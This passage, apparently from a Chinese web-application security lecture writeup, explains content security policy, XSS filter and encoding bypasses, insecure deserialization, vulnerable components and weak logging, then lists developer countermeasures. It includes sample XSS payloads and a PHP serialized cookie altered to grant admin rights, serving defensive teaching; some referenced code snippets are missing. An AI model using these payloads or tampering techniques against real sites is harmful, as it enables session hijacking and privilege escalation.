这个攻击会导致受害者的会话 ID 被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。
####内容安全策略 (CSP)
内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是恶意软件,这些攻击都是主要的手段。

CSP 被设计成完全向后兼容(除CSP2 在向后兼容有明确提及的不一致外)。不支持 CSP 的浏览器也能与实现了 CSP 的服务器正常合作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP Header,浏览器将使用标准的同源策略。

为使 CSP 可用, 你需要配置你的网络服务器返回 Content-Security-Policy HTTP Header ( 有时你会看到一些关于 X-Content-Security-Policy Header 的提法, 那是旧版本,你无须再如此指定它)。

除此之外, 元素也可以被用来配置该策略, 例如:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

上下文敏感数据编码(XSS 编码与绕过)

对于了解 Web 安全的朋友来说,都知道 XSS 这种漏洞,其危害性不用强调。一般对于该漏洞的防护有两个思路:一是过滤敏感字符,诸如【\<,>,script,’】等,另一种是对敏感字符进行 html 编码,诸如 php 中的 htmlspecialchars() 函数。

一般情况,正确实施这两种方案之一就可以有效防御 XSS 漏洞了。但其实也会有一些场景,即使实施了这两种方案,攻击者也可以绕过防护,导致 XSS 漏洞被利用。

场景一:XSS 注入点在某个 html 标签属性中,代码片段如下:

可以看到,这里防护措施采用的是方案一:过滤敏感字符。这里如果输入javascript:alert (11),是会被过滤掉的,输出的内容会是:

场景二:XSS 注入点在 js 标签中,代码片段如下:

这里采用的防护措施是第二种,即使用 php 内置函数 htmlspecialchars 对敏感字符进行编码。如果输入正常的 payload,如: \<img src=1 onerror=alert(11)\> ,是不会有弹窗的,此时浏览器的输出如下图:

这里的敏感字符\< >,已经被 html 编码了,最后在

标签里面输出的时候,浏览器再使用 html 解码将其原文显示出来,但是并不会触发js引擎,所以也就没有弹窗。

下图是 js 编码后的 payload:

8. 不安全的反序列化

不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。

可利用性:难
对反序列化的利用非常困难。因为在不更改或调整底层可被利用代码的情况下,现成的反序列化漏洞很难被使用。

可检测性:一般
有些工具可以被用于发现反序列化缺陷,但经常需要人工帮助来验证发现的问题。希望有关反序列化缺陷的普遍性数据将随着工具的开发而被更多的识别和解决。

技术影响:严重
反序列化缺陷的影响不能被低估。它们可能导致远程代码执行攻击,这是可能发生的最严重的攻击之一。

自查:您的应用程序脆弱吗?
如果反序列化进攻者提供恶意代码或者被篡改过的对象,将会使整个应用程序和 API 变的脆弱,这可能会导致以下两种主要类型的攻击:

  1. 如果应用中存在可以在反序列化过程中或者之后被改变行为的类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击,这种攻击方式被称为对象和数据结构攻击。

  2. 典型的数据篡改攻击,如访问控制相关的攻击,其中使用了现有的数据结构,但内容发生了变化。

在应用程序中,序列化可能被用于:

  • 远程和进程间通信(RPC / IPC)

  • 连线协议、Web服务、消息代理

  • 缓存/持久性

  • 数据库、缓存服务器、文件系统

  • HTTP cookie、HTML 表单参数、API 身份验证令牌
    ####如何防止?
    唯一安全的架构模式是:不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化媒体。 如果上述均无法实现,请考虑使用下面的方法:

  • 执行完整性检查,如:任何序列化对象的数字签名,以防止恶意对象创建或数据篡改。

  • 在创建对象之前强制执行严格的类型约束,因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明,所以完全依赖于它是不可取的。

  • 如果可能,隔离运行那些在低特权环境中的反序列化代码。

  • 记录反序列化的例外情况和失败信息,如:传入的类型不是预期的类型,或者反序列处理引发的例外情况。

  • 限制或监视来自于容器或服务器传入和传出的反序列化网络连接。

  • 监控反序列化,当用户持续进行反序列化时,对用户进行警告。
    ####攻击案例场景
    场景 #1:一个 React 应用程序调用了一组 Spring Boot 微服务,为了确保原有的代码不变,解决方法是序列化用户状态,并在每次请求时来回传递。这时,攻击者可利用“R00”Java 对象签名,并使用 Java Serial Killer 工具在应用服务器上获得远程代码执行。

场景 #2:一个 PHP 论坛使用 PHP 对象序列化来保存一个“超级”cookie。该 cookie 包含了用户的 ID、角色、密码哈希和其他状态:

a:4:{i:0;i:132;i:1;s:7:“Mallory”;i:2;s:4:“user”;
i:3;s:32:“b6a8b3bea87fe0e05022f8f3c88bc960”;}

攻击者可以更改序列化对象以授予自己为admin权限:

a:4:{i:0;i:1;i:1;s:5:“Alice”;i:2;s:5:“admin”;
i:3;s:32:“b6a8b3bea87fe0e05022f8f3c88bc960”;}

9. 使用含有已知漏洞的组件

组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件和API会破坏应用程序的防御手段,造成各种攻击并产生严重影响。

10. 不足的日志记录和监控

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统,并篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过 200 天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

四、未雨绸缪 - 项目中如何应对

开发人员需要做些什么?

  1. 提高风险意识

  2. Code Review

  3. 建立可重复使用的安全流程和标准安全控制

  4. 安全检测工具
    a) ZAP Tools
    b) 静态代码分析

  5. 建立持续性的应用安全测试

  6. 管理完整的应用程序生命周期

以上便是从本期葡萄城公开课——“WebApp 安全风险与防护”中截取的部分内容,相信一定能对您的 WebApp 应用程序安全防护有所帮助。